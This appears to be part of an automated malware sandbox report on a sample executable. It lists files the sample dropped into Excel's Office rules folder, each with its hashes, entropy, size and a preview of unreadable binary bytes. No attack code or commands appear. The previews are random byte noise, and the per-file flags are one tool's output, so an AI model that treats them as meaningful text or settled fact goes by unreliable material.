Preview:	<?xml.k....1.......'uR.T.\|..."N....(\.g...n^C.:....u..W....]mM....\.~.bG3.g..)..p..9....C.g..jy...g.A........=w"...0p.J.:.....Vh........3.=....@._1[O.QJ\.......\..S<....$...j....b)g...#u......u..j.[...W..L/.5H:.<..l...r....B.<w....5D.Z..s./.u...d.y....fQ...CI...4.Pk..J..A....Y..F..r......2.?;..c...x..-i.1.;"DS..&..}h%..v...........Z....}.....[.W{..l.^........l..P..j.%...?+..<..+,a..w-p50F0[.@v...x...e.....0..^.+@JE.....2.(.>4..I](.K92.....6&#.>\|...v.c.T.6.c.?R..v...s'M.W...0....w....;...82...\|.4<.D,..m.p....;.i. Cg..5?,'J>.{.j..j@..FW.&K.;D..&......].`.<..I.c..u;..8.x{.j.V.+y.{.}S....(.,...I.Z<@..G...#....K..w..u....~...z...p%T(H\.."..-]..h...`"...<..R2..O%.pu...y.@...f.._x......7.0)........1..)..w..2X>..v..VRh.<.s3g....y\|......S.....{.....bc.H........u.1v...l.Dy.\|.?f..;.zRA..*_.7J...0h;..J$.M..^.&gj..w!CEO.Z..r.L....!^c...h.Ih.c...0\8....Z.O.2G!.M....V...T.S%..G7....,.....uK...w.r..Wq.;..G1.O../(e..z.5u........]..^...`..98H....W."ES#5S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.840138309882699
Encrypted:	false
SSDEEP:	24:4BYLboSFv99CNyBFBGy+vqXNbMK4eUpLw/lqvm4Wpf7/HG3riBqHBXNjquPbcNHd:4BmsSFnQyky+CXNQyUp0dHXrHG3rwqJ4
MD5:	48321D822E1DAAFF63F0FE13A3AD350D
SHA1:	A41B1752F41E571DD877A68B932D3274D9DBDDED
SHA-256:	8CE8E7C5D4F011959773867235E4EAE072008DF92F9AE019644FE566842E6DE5
SHA-512:	CC9B49BF55D3043701458AF29B36877B180DF817D08CA66B3FDC2567F1CAA05AD51184439AE3FA9D6E076E8DF86A1C9E06DD236DC74FC1FE34C582DFC361C84A
Malicious:	false
Preview:	<?xmlY...4_...aS.e.c........O.d$....'Q..x..j"R_Jz<.2..T.S.u.~...B../>c....>9?.;..[.$.........a..o.q.....K...O.3WL.t..f..=_.l...#.NV.....!.Ha..L........(.......Z..B.....XJ.....t%......~.X4?[H.R.`.J}.E......E...f...x1.....,...-..'...P..7....w.sOp.[(.y.7U..IjY.....R...@....Gmv0......9).%..N..(...@n.Q...>...S..?..1.7.............`O..^.Gu.f.F.u......o.`.K....Z.^.........Uz.i.}.l..}...~....k.zo.}.5.,.>....Z.1;.H....z....W.cn..%f<..%\...h.Z....9. G\|i.M..\P...5/0..g.......6....!i,..%1.+..Tz...`..n...gK;..`7...#.F....>. -.v.e.......o.a4..C)Z.M..:.^=.S...E4..........G7.O.....j.{N..J.....H......x...,. l..&.G.M.m.%..n[u.#`.m.nBV..U../.^m..!.......y...$){......Pgp_....$.f3..'.\|'...p.G?.d....j..R8.(.O..2s. .>.j......Z... yU....."....$..QC..I.........D~.G.......3.?....=.vb...5i%#..`...3..S..BB...[.'.z.......I.E....P9...j..Rk5}../..o.....R.}.t...v....y.z.:.\d.-R..U.<..@Xx4.....8.JZ.8.._..~..... ....c....I....8........$0....a..?.W.....r.D.....P.Id

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.881319842957684
Encrypted:	false
SSDEEP:	48:pCHaZdjLq/X9/Ip0ApDsl3CKSb5nG3d1ef48irIN3/yuS8b4FNOGY5fD:p/Z9LTSlYVGLD8iu/yZ8b4+GU
MD5:	6AB9E90845C930E715116C2FC8D1B090
SHA1:	EF276415FDB2D2C0E7A18E40469F30B32CCB6803
SHA-256:	8BEA55CE00316A9C4B2FEF99E3DD8410DE10AD74F192ADF8E1C2038BD415C7D4
SHA-512:	FE3D342D4E2E2AD6DEBD8BD3B7B7B8142B14096FE288A4E1F2F4699DF183EEB4E3DFAB8825585C85E92F28BE99E5A0FB1C342784C461A6DA3889771552C8E647
Malicious:	false
Preview:	<?xmlS.. -..o.@oJ...J.a.....M....27n..E..u7o]@5....T.71.-..QL...E..WV.9.[..s.x......(g..W..dh.Xe.H.hTO...KL.U]Z,o.\.j.].g.5L.p...A...eKE."..BM.Ce..^.S[...^... 1.A7`r.P.].R.'.......gg.....:J}..Y.y.....U....z{.O.p?...'.:.(w.01d$.#;..FTT.<?-pYd).".m!..'.\:.......i"#.R(?..D@mC ..{1a.?..YiL...#..."i....k..:<sX...S.H1w.....#..zZ.ug..K..]>...c..p'.....h.3.y..8...S.u...`.e...;.....J+./.'._.Q.\|.AH..t...Y......N.2Q7....h.A..f...9f9........:.y.....U.."zr{.7..~.7.;.(...#...9....v....<.N{.\....3.m. ....f.~..e{-!.#...a}u...x.'l.x.qJ...3..7...,.74..o..3.s.G{.+Y.$=j~..8.Ao.62\.\|K..yX...S.2I..tD..}...........\|._.......r..r1X.e..w.)...\|f..........T.l{.p...,.;.<>9.d.........+.dM.p.9....h.....Gz.........:.R.....+...[.!_.C.M0..:.N..K...)....1.D..O..~.C..U..l8.S...H....6...... ....v.A?..)f.\|.^vF......".V=.S[.5..&@}1.rN....~.Z.......TA.5V..}.!.#..k...R6..Z}...L...4..E\*.Hq.z.]....B.6!+......~MT&.\|..b..9..;......\|.z$Q.......k..s...........E..D.\l..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.861614111970856
Encrypted:	false
SSDEEP:	24:G3Fx5aPu9q7xp/ACW4B4OSms21Kl4zI8J4geWLNZr20IQg2bD:GV59qHnrgb21KWpNzIQTD
MD5:	C0AEEF288FD1D831995915C9A1FD31C6
SHA1:	153CF56A7CCAA8287CBE0992E717820E1CE8663C
SHA-256:	D10E7AF9F85E77BA062599ABC66907DF23E5D4C26D5AD18D1A79613B814045EE
SHA-512:	FD3F048FA9899C98E21F5BBF14A7CC0619378E8DE584343C9B04DDC6A2465606E56A58D8FBC06A59A6BB942FBECA5762859625B310D2FD1F5A4A66046B284577
Malicious:	false
Preview:	<?xml.wqd..\|;..F....._.l..+.dW`Q....\m#i.sI0......e.I...aZ.=..H.}.@@....!....6]..b....V...~}..f&.<.'..e..t..X.o.2....p.?..`::/..t..$F...`.6h.W..../.2..m.{DH...0"gG.}.#C.R.\..h........L:...8z.=B]?Pfk.{....O..k.}..-H...9<ve&wa..........a.r..h.l.9G.[.w.0...%....9..K.....4.>...6.Zg/Is%.K.P.Z.`b..%...,...X..;.6..E*......_ .~pw.a4w.....F..L..5o<.S....v..J....U....k.y.c...1+......Ea..rX.-=....X.j-^.B..Y.J....)$Y.....b....8...Pl......h.....E.e!...._..@.....::@f....~..4..4_.<z.<....(.pl.}............c..n...0..Q..8b...t..k..e_.-..."....F..b..a.g...g_.B30...........M..n..p5....h..G...]R.....~.).`.iD........c.5.K....&x.s...W?..6}.r....zI9.,..B....]..s$..f..".%Y.c2v...A..4......T...?...A....M.6........E.Nf<.3.<.a....wq1.Y.$L.....a[.\|.Q..X.$...\/8..=.$..7.o..K...K..{v....G\......}.Cv.$&.D\...rO..j(w..[...~xlSx..h.].gD>..m.\|..&6.!........B..T.`......UJO.`.'..oa:.J.U.@4)..w.08...y........rW=..,..S......d..........yR1....<..g.H.G.y...J.....mX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.892498351742388
Encrypted:	false
SSDEEP:	48:5H0acwZ1sqglktqOrzrcupK0I/wmIHoxeWd5hgazRfTodD:Z04Z8lkEanQ0BHUp7zREl
MD5:	379648CBC989198F4C3B78130399A8F5
SHA1:	CFBB7074EC121818AA58B15FCA2A340C9B2EE795
SHA-256:	201731F737B64822D30B41A0328DCC104CFEF7C7886C4EA42B0BD269025AFA60
SHA-512:	24F7DE85A088BDC8ECEEBD207848E718E8A18EDC17B6DDB29F58C189E8D98BD502309919B1E458A7FBEDA8DE50A440297D24217C052EB3578982926362708F4D
Malicious:	false
Preview:	<?xml.....b\...P..Df..cG.>...P......u..8..Yv..@. _.!G..iQ.G..k.{m.q.WV.%......?=....\5...;}..\|..vP...7~.8.<.. u..Yr.t..k?......["... L..o...Y.`~...u.....-....k.o...!.....~...y...8/....... ...=.D..N..B..]..jaj...k..l.\;?.`...s.;...2.N..U.#z.#(.......x.T..c!y.G.,s..%Hk.+.+...B..=<....c{...dcn....3..#)..d.P#.g..M^..]........k..0..X.<@...........3.o.(.....=..!...V.."......(..kS=]..x.../?../Jf.aC..z..]W...uH.....m.....}.[I..4.A.!w.....o.....@!..F0.}....d$.>..S...aqx.<....>.?...9.._.........G..h<.nS.8zn...bt.T...1K..oP8E.1..b.wi.-..D......Z .-.r.C...(.\.=.3...7.4...F#.T. ..4g...RdJ..`....$....Iw....).....J........iX.Q..K.......A^B...B!.r.?.....0..n./..S...u...9.U......t.BZ.{gy.PHY-..,x..+^.2...r...PN.cfj7]Mt...].+.:T....V..q...(..:....../..:N.c..E..Y.!..D.......y.1....s..I.J.....p.,...#.;...3P.\|^..Zq,...5J.{..8..e...9AP..T..nTF4...g...]5:@.iK-=........i..{...9.X.4eL..BC(..o......'\.Y...z-.]...u....Os.....m.W..f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.86810285867849
Encrypted:	false
SSDEEP:	24:XMklHqXdeJwIvD1Wl2q5xOjtv+M7PpPqnMyHLHcgVp9m+xPR1VNT2bD:XMklHxJZDU75x2v+MLpkoQpQ6RLNAD
MD5:	083A05C056527C8C4DA725C3D9D455A8
SHA1:	33DA59124A90E4ACA246CC9859F1C58396532FE1
SHA-256:	AD02F28D3BE972A311B1EEFD06BAB4832D77F1D27C794CA48B80472EA021A346
SHA-512:	1F6DBAA4317519C3A7C128DD262648FAAA1BDD1E941A9B319A4571EBB4FAC792F59B9D77DCE3CCC490ADB4446E327C19B2730D0F82270FD5BC93AB2FF38BF838
Malicious:	false
Preview:	<?xml0x.6@9+1.(.0........O...#).Z..t.x.C .8....6AX......\.Z..w.....\|Y<9.YY.S8..W3(rj<.......`...........<N...3.b#8..t1..Sv.\l....VhR........K....Z......C.Rs..h<.F.9CB.:.Y<6i.......q....M ..<..D..t.U.O&T..p......h..M.......[....[V.v..n...._.P.Q.....n......I..W7.P.q.......t.....{...6kI......n......U....9...A.~..Uk..cRD.JQN]......F...^s........9j....M..R.h....I...D.Y..1b...q.u8.7'!.F).t....U.4zB..v.)u.m"YN._v.E..I.....n.z....o".E.64.Jb'..6..}/. ...x..>A.#}..L<\|ZI....A[.........o)....)<.j?..D.1 .K...1.8PE.z...h.}..T.../y...K.....Uc?..A.T..G..5zv.`.5ovK...t7..=2.g.F.;....X.7..-.tl.Wo......%#.....Q.../J..`.b\.....G.k......"...s.T..@n9..Su.g...@G..e1...q.m6...W:Ca.....q..Y.lj.SEwcO\|.i...X.i......\...g...8.9Id.....q.L8..*.3....M.'...-.$Z.I.5..{...{.yl...1.[...R.3E%.(d..u.....~.-...4l.......kp..h...cn..J...~.q.....]aUN.@.;a.$b.H.s..c.....4o..R.X...S.'q.s....d....L.fS2.>.......`..8H...9pv.#....R...........Y+..?.o:..7..L......^r.z..'.^S.u...n........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.90843451530975
Encrypted:	false
SSDEEP:	48:px46+3wgJ2CPx9HCPi+mDE6xoyM4c8RASKt0J6D:px4N3wgJnZ9HCPiHDE6xBcuKtGS
MD5:	90A1A4B0D517DA90839DB9DE5DCDF9A6
SHA1:	F4BAA8B0C96B10BE9CC67E167AAA2970AF6ADCE8
SHA-256:	9730444FA41E69472C8B101EC063B58A384EF71DD1637FA99E1EE5843396934C
SHA-512:	A675C37E618C2FF36F5586C178D260D048855EFBD0017642F98256E464933E6B4020F582F39AA38414E9341B526D0CF9A42EDCA7DE51AC2A033A1BA661796D01
Malicious:	false
Preview:	<?xml.F%.3.t`k.hV>....?.1m..<..R..nem.....+..^~.TI-. .#.....\|..+.........&..3....."n- .....HM.. q..P2>t.\|...N.....k........tS..:...Z.v'.X..........I... w...g`....v.3...z.."`.3Z..s...Q`.....$..s.Z..E..y........'&...O...vs.........L....AS9i...cn.4u.n.;)T...:.x...S.c.9...e8.n.......R.jUH..].#.../[./k+...t.!....3...U.i.S....q.?.$.b.d..z........Y.4rI..E.D..k.......F.b........:83..zR.A.n...%..=....p.S.....g...6....l[.....Z..h...c.{...._..Z...<.:?.).U.`.}..c.@.v;..n.,(F(,u.3.f...>...M!kLH.r.gl.......s\..jp..V.+.`_.Y.N!p.<........hdHqhU.Z.=j.......R..n.wo.....G./....TN8.U..%dH,..#.....i...xn.:P.u7.H.J.a...q6.'.......7..........b.)k.,G....2Af...).Ip.Z.._....s..D....{?.....@,_.@.r0.N=..-L..;...k....~.t..9o2.......]u...L.RC$I.7..5....RZ)....y...T.......s6.h..$.L.......Q}JY"...\.Uh'......y.!..:QQ3i..E.4r@".$E..m..&..[xG.p.X.........#ld.Q.s.....Xv.q..wN>K.G.y7D.{.>.W$.......L...R.l.<\|...K..&.&..N.,........H.qp.o...d#...T..&.s.>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.854265801121449
Encrypted:	false
SSDEEP:	24:MB5rQMJjGbokn0r+F2uU1T4H219cyz+JdItLUi2mgXbh8aZkezlrHGKU5q2bD:a5rQ8GUA0q4T1T4H219EPgxebh3Nmr5J
MD5:	823DAF2382E37EFEC4DB3A9930321D43
SHA1:	236181F674005D1156C489A595F4234A35B71D4C
SHA-256:	3ADF1E76B5FE9C753E2306D9A5B66FB661763AEA27DB31909D417A95F7D8E525
SHA-512:	E2E8550EA8711B4B1471DF7F56D1D28ADCD5DD27BA205594A19DE55A05ABD7CE863802FF2EF77D6661B15BA70231C6BE35AD05C14C0352A8CBF8768AADE79426
Malicious:	false
Preview:	<?xml..i...aV.OX2k5.4...=.$..).y.t.+....XV...[....hD.3.R...i{....Ze..~.\..l..2.<....V.......].V..(.y9.4!V.Y9-..L.L...kd........i..[.!Nx.Xb-........A=.R..g[q.N...Cb.....`..e..@#P<....0.!(z.r..e.O....;.._>..s..W..n.k...%.H.....8.kr..........e..s...I.?..2y..F..R..l(.?.U...&R`[...5..jw.S...:.}.f..A._......_(..:...~.X......Hm..d..XD........o..}.oRQi......ic(......4^.........g[K'D.,{.ut{....~...S...3.=.<.+...]F..+g.S...u ..P%.\.8E...r.9...m.....2.....,_.'2Y.c...g.....b.f.PUx.L6.2F....5.+.r.[x./)...._..z.n..........o.>.z:DW;..9.n...w.Z......q...y.m@FP.f.PR.M[...4..m..~...j..NQ.x..`s....h._..rm....&i8.....(V.!T..z...L.:....G.~.....J..{........N.!....{....w....8.."..M-...."......I.._...%.{.......&l.{_,...1M....y}..q.Y7..Ku...u..##oP.b...@. ......P...8......NN3......b.Pv.....,2.o..h. Oe...O.D..q.....s.......I.......<.'E.q.U)..F.>hE.K.oP..>...C#G{...cU..8{..e....1.+!....^.U.....,...gy.......e.....#]..%..4.-I.s...t......`^/.>\|P...\|4.\|...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.911262413523632
Encrypted:	false
SSDEEP:	48:/IlwIj7wK4ZAQkKk3IuXXA1klfMRC6xZwkLAo5lD:/IGIfwK4ZAQk73IunAaMRC6xZvLPd
MD5:	20C8BC77814564DBCD7DCAC4ECDE615C
SHA1:	38EAADF3CB584BFE40933A5333311010318DFF74
SHA-256:	D72DF670ABE6242527866CB27013F72F2090BF590CD2DF1C6D2FC2726F51198E
SHA-512:	5D29891FDE3180B0E86E8DFAC55CE9EC5AF64553CEFBF059B257C829CE171692A836A4EDD32D8EBFB53282587CF5E47C9C90FCCF816B9C344ADA0381DF5F6724
Malicious:	false
Preview:	<?xml..4).\....."I.La.~Y&...C...g.."..}.[.h.y....YG......D...`Iv...P.Z.a...u...y.o..........G.E..s.#.:#I......1.......g.V....gZQG.W.Cx...]l.%..6..J]....b.<N..Z..!.I^.....bv......x.\|..q..n......d....`z{AG.9U1...........sV..'.}..).<.t}.......$.q.b(K.0...$...giu.q_.....".'..m...1S..&..B.X.J.....v-...5P.b?..(.&(...hWwJ..F6.R........jk..aa$..+.Wh.e.....5.._......ot.'.t#...`n.).........tH....8..E.4%...tn..uu...G. ......i1.`N.$<...BZ.Z.........:z.$..?.q...9\|...x5.-...2.O..Yc....q....Cy..I..9Q[.}.h.7.......)%.Q0...n6.\|Kh>.).C.W.'..C..L:...`/..A...:)I>.H.U.u`..R.I}r3...+.=>.w.v.a..\|.$....y7V..n..1....w..{.z.@r...qS.......P..v..N..+M.mw..e$Rzm...4;.j.....F).J3Oq...g.z..U.!..X.............S...y.\...x.y. .7o1...(.V..a..mjTs.."..(......:c...2....._N.AQ.9..X$.....x._.Vu.x/./..\|..UH..pb.. .w........$P\|..sr.p.a%.../...(........A...J...i.....+.H:.R..I.+.v.Z..)"C..z....m=....x\..m:...C3.].b.F.s-._..Wzm.\.!!......g\|d.a..UUB.a+,Z..1......x..*.3..r.)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.807983640672745
Encrypted:	false
SSDEEP:	24:wTmYaJLxYsTTZYagkq+4RCdnvOb3ADof5Q4mxitmrISlt5rcYS82bD:JYaHY4lYafdmcoBtoISlTr7SPD
MD5:	BEE5B863232217F7CBF97C926E347730
SHA1:	FC5D028D760E06124353538DB4D4BB8CC562430E
SHA-256:	757D6DACB1BA31D84522FD4FBF9AE8586646C63A89E548D7F4AB271F20AE6F74
SHA-512:	69DABABF4DFB4465F2B31386AD7565D29E38564EDBA906395AC455FA09A02F55ADEAB4E573C99425E395E41D1F5D1E8B524B11A7D0F2D84B131D4703F576DBBC
Malicious:	false
Preview:	<?xml.^.Z.......G.=qQI..B\|.2`W8.........q...0...".z..J..rx.d..."O...A./,..eT.......]..~..i7 .y..W.\|.r.i.2...w.\|.`wW'.P..r.......u....K...!((.\|..p\|..RB.?Mn._..p...[.Gz...D!.....L;\S.../3...q.T-i.......r.+......C.......c....)....r./...`.'A...9\......4_..JS......^....(.b.)#..t-..\|K).zX.../...+...q...q.A>....@.b.......3..dY....T..q.[.+...B...~....B....c.q..\|..<..1.LYs.!c..vx....H..=;.X..\_A.g.L_...Q...{.1..K......G.Ed.%...u]n.Q...m.n\|U..`.9ua..7..z....Y....[.B..u6..K.@C...`%.Zlp....~./..&z.9...X.~.%<\|....E....$..0..."...W".\...d..J...C..n#Z.0.....4.....p(..... ...QL...JQ......5mE.I{9<..../.......T...0.......HC'.d.....q..8#lF...In......@.hj..B...2..).Xi..{.m.n.;.....9..iIU~vR.,........je5.....(.........-.u%.=<s...F..H..I....z.{..aH.Y.... *..g..=".>=..J]..:..v...#.9....u...4.c....;...l.PH....v.9.8...RW@..N.YN..p.b.>i..w.QW.!...8'B...2.Y..,.w.G..&mRi=c<...vFt....:...m.M.ws...X..#;.sxwkB....wQ#1/2..e...R.P.l.`.9.......9.r.L...... .Fn./....v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.734306719622642
Encrypted:	false
SSDEEP:	24:uzUZjh7JybS9Ej4LkllJnhRHnk8jtcg7rk9b2bD:uo5h7oeO3/nk8jtY9ID
MD5:	EA0A623E905260BEED8F110E505CF484
SHA1:	3F5A73BD1DAA68E677A464407B147B7D7F9F1439
SHA-256:	DBBC91B6FDEA3D273C2A575B5C6C6E6AF435EB2144E54E91A2090E15751992DE
SHA-512:	1F9F77CB337978E2F74E6BD42F39F7F8FEA15141DE71DE352C0DF9AD6CBE4DF3D9CE1E425876E0B4BC6BADCA674A84C6B446415BDA3CD1F91315DDEABA2EDEAC
Malicious:	false
Preview:	<?xml~.%..../G=..;. ..YQ...G.-~.....G...kvO.~:.:m)h/....]n....7YZ...2..j@.^..1<...A.@..z.@....o..u.7.[..DM.?....M..[%..6...;iRE..9..#?...:.......B....r...Rrf...1:....3H..d..+L[....x9>.Y.A~.....7p.fj.^...4;R.....>..>.....\|&.j&.....P..h.~'.>pS.\|.."=..>.7.u.(M(b.#...Y1...}NkMU..w.B../.c..O..\|.5.z3i0...........s.......).JmP..)..!..B.F......_..p.4\...V.Ngo.Q.....V.1<x.>.C...F.]b.ML...A.a.a.w..,.).5..m.pv<.c....=.....j...@d8..@o5...~......`..U..F.^."..{._".F.../...p..Sqk.K.U.R.ZM.b..d.r..p.\'D...s....D.N....N.O..;.TQ..-{..%......1...ZB.G.q....;.(Z.V....U.k.e.A.x._.m.(.}...a.>.3..b......+....(....c..e.=9...MOC....8O.Yn6.#&ub.X..fJXOE.)1.P.. ~...#.b...u .q'......N.6~e. ..{.x/uJ+........L...K...Ab#.....x2I..e.....F.B..b....9{.\......5U..I..5..3P..1/Q.$..............Ph1....=.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.9162649370917455
Encrypted:	false
SSDEEP:	48:TwofXGwtiHp+DKCLfVryVzI+Oc4sgJ5C97SxbmuR40RzmmoqK049mD:kovrkp+DKC0VfO1sggBuR40Rzmvb0L
MD5:	CD7B9698FD87E64EB8FE26CA8FF7C3EC
SHA1:	767A806A8286E432CE5D9E973335ED1ABE99B1E3
SHA-256:	F041475D5929CCE340FDFA86D3F9B6101D59FD57C7817EA834DCA42D197B7510
SHA-512:	6F83AB4D1B286952D790D7311C72306EF6DBFA90E92E0B411F3947212CD412545699FC0CAC5281FC335A3EB0DADC4622877323D0BB8FCCE2DA3BFAC2836BB9A6
Malicious:	false
Preview:	<?xml^.=#:...U...f..o..4..^D:#.z+.t.?.\N+..."e/.....{9l.. ]j....\.......\|...m.(..h.... ...5....Mg....N.ZQ..../.X.SM.i.\J..:g<.PO=2.........V..J.....d...X..s....sc.A..c...k......."......W.....zMq92.P.uQF@.%.<b.FI.........).g.....!.i..g.G...q,.......X......M.....^.......;..6.....6d/....!.y..t..w}.T4..i.q..q>l.W...'..Q..R.}.i.a(...^.=.C...J9.@.V.u1m](........!:B.......L....jz.)..`...M.n">9_._A.P.N.+.........w.44(T,..M....@..0..Y..T...r.53.3^..j........w"....f...'..?.[...r......~..l7.Ko._...M-r.....\|.e.C..P...z...(..;...rw..aUt.....'.T..1.N^...gE......1eOE...R........K}y...pB.U7...u..G..<.................A.....\>...Y...".B.u.2n.16s....b.h..2..cQ+.u..h..2Mg.&C.*q_..m.^.c...s..b..d.$T.8..#d.K_.S.......aa..J>.>:Ej..R...X.sX.......C.....w.u..\.BU..&D.N......A.K.f...j..i....W..J......r.u\..j..`..T.k..@.)....p#..Cs....&..5r.Q./Zk....p......c.>.q.Y"...6...k.m}.t.p.~ .rT.oO.<]{43....TQ....,...[.c.....c.3.(.?..C.1C...V..p......9.p.JT.A.r....R..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.869348485129697
Encrypted:	false
SSDEEP:	48:4fmiUrENfBbVHQ5k2vvqFp+UPe+aNa8nFD:5Cb/YCFpZe+aPn9
MD5:	AE2B3553921EB1D7F4871B734830AE1D
SHA1:	936EE3347DC58D01BEFEB9679064DAED7A996ECC
SHA-256:	E49609E6D90B30F373E117672D0588222B76C547E187327A81584C6E37150844
SHA-512:	B0DEB933FDA7EA7FED198608001DCD62DEE06100A79DFB891B73D8CD4B10D2381B92885BE55712DCAFA896C89188BF1899031ADA58E591EEA2596C956011667B
Malicious:	false
Preview:	<?xml.._..\|T~.iC...);j$..%.~a%....dNb.......$....=...:...&&P..o..i.\|.\e9..6.?.@.\J.H..mbSu.h.k...t..3..).c"-Ijp`..q.{..MJ~...\|.............D..U...W.PR.......O.g..K...`(.:f.....I..}y..VP.k.{~.<s&...g.(B...p#!2./.3..q..n..3.]....C..v..d.u.F.sW.Mn?#.d~T..T).toy.b\|.u"R.B}a....~.@0$.o)0}{..t.....>%..1..... >..N.6>.....A..^v"G..!\|...J.....qwj..NU.m.w.)....U.,.g.#s.......r.g.6v.".qu.M. ...u".g.....#...@&.}A........uT.O.r.~{hO..+.9J....y.?.r.J..s..u.P..r_....AAp.3I=.2.m...........h=..-.......Z.....>a...t4.....5..h...A6 .......~....4..&.4.B..!....v.....7b.M."z..y...E.e.=..E..Z...C..J9.\.v 1.J.../Z..an.1.FW.f..<d..F..?.~...r@.S.xc..f.{..).......c"...._..o.![..p6.P...S.m'xF.&<6..N..C.d6)n.8.lP.;-..T.7...........OB{.+ .\%r...y...K./l.D...U.3....a.,..%.4.....{..<G.BUa.d8...n.k............a......(6.d.7..[..s.......J/..W.-.$..:,.b-.T.$.\B...1..........cxyG.g......7..H.E]3P....W.)yk.1.:l...<X...s.9..3}fSG....8'...?...I..KY._..NL....b..W.. .....0.t.1W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.811020954479101
Encrypted:	false
SSDEEP:	24:3MEwiqOG2C4vF4MLxhk8ASyAcZ+/SCDmmcsfZDdwM2CctkUEM2bD:3jC49HVASQZYr7D1lckUEfD
MD5:	656F4270F20C984841E14E106C469E0F
SHA1:	E113D0680CAFBA72943D969417D8F6DCA1570700
SHA-256:	43114CDCFB21D7D6010FBD3C4A0545BB97499E6111BFB8DB64064D74CB009613
SHA-512:	96F2F2F3E967F7B02D07590BAC581775785E49FEA61F0F08D1DFCB8F29E889F2838B465C2B130B85DA092B5A16A190868473F045775503AB64B5C33DF76989EF
Malicious:	false
Preview:	<?xml.<.?..l..t......}.s...D..v<t.....Y.`\|}2&..D;....d\..c}}).e.{k..a....AF.u.M.B........h..:t.hFu].x.@.....?...w.>.4..y18"..`.'......hbK...Z..v.:....F......~B...T..f..........FB..B.....4....>,..+....l.R..Wd...S..)`.S....GG....>(=.W..^........d...jR\K.,.f.UY..TI...K.m...,....%x~.&..h<@2a.k}..\7.Wb'..a...).qH...2.v^6.O...I.>..NvA>.7..f..Ow.%...."q.}..J..jr..H.c...y...;"n..BM...3..@n~....^...........K.n.x.G....f..~..@..3)..#.>k....S...="..k4...'uTIH.f...)&.=3VZz.F..y.EX....i...T'{......i......g...(..eT_BmwY.V.LN..CB..1L'.9.8.i..r..V...-.0.9..Z.....:,.7.~mZ.@-....2pi.FBF:.m...n...!.c@..6{6i.G.r.}g.5.....r.d.;NLB.RRz.....S...w.fR....RPf>.A..Z...X..o.M...>...{Pp....g.n......;W./.K...\|M..^#...{.....o...~j...(q.e...J'.p@...d...N.w...+f....B.D..(..W.i>XS\|..c,.......YlE.:...VOm.beZ.....q...#.M.Dg.."...,._.O.o.......].ZrO-t....,B#.....o!=.6..B...[......&"_..m......._L..h..Ef...?T...v..W..#.M...Fc...9......^.<k...9~cA...[...F.*z...P...$.....ul.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.702868249442416
Encrypted:	false
SSDEEP:	12:GP+IpdXT4tyuxgt47ulNNSm+UKYEFL9+t1Hp/p4sHkQs3/6TEKua7yRtCioASUdV:GP9XTRKqNNSm1KYXnphP6KEY7yRoio3w
MD5:	460EA83613EF8D109851A118F3F1F116
SHA1:	8340287360ACF30B638A812EC0DDCE7085A4D803
SHA-256:	BB36C8403CDDEDDD9661A1F3FE152BBFA68D1965D341464934DCB16F49FEE42E
SHA-512:	5175E210904221E6B44585BA86BBC3072481968132BBDD41CBF8FEA78DBB7641668C534067FFDB0D6A0D9C9B9B58DA2AB20CD9CBE68D4E09177AF803D505EEA6
Malicious:	false
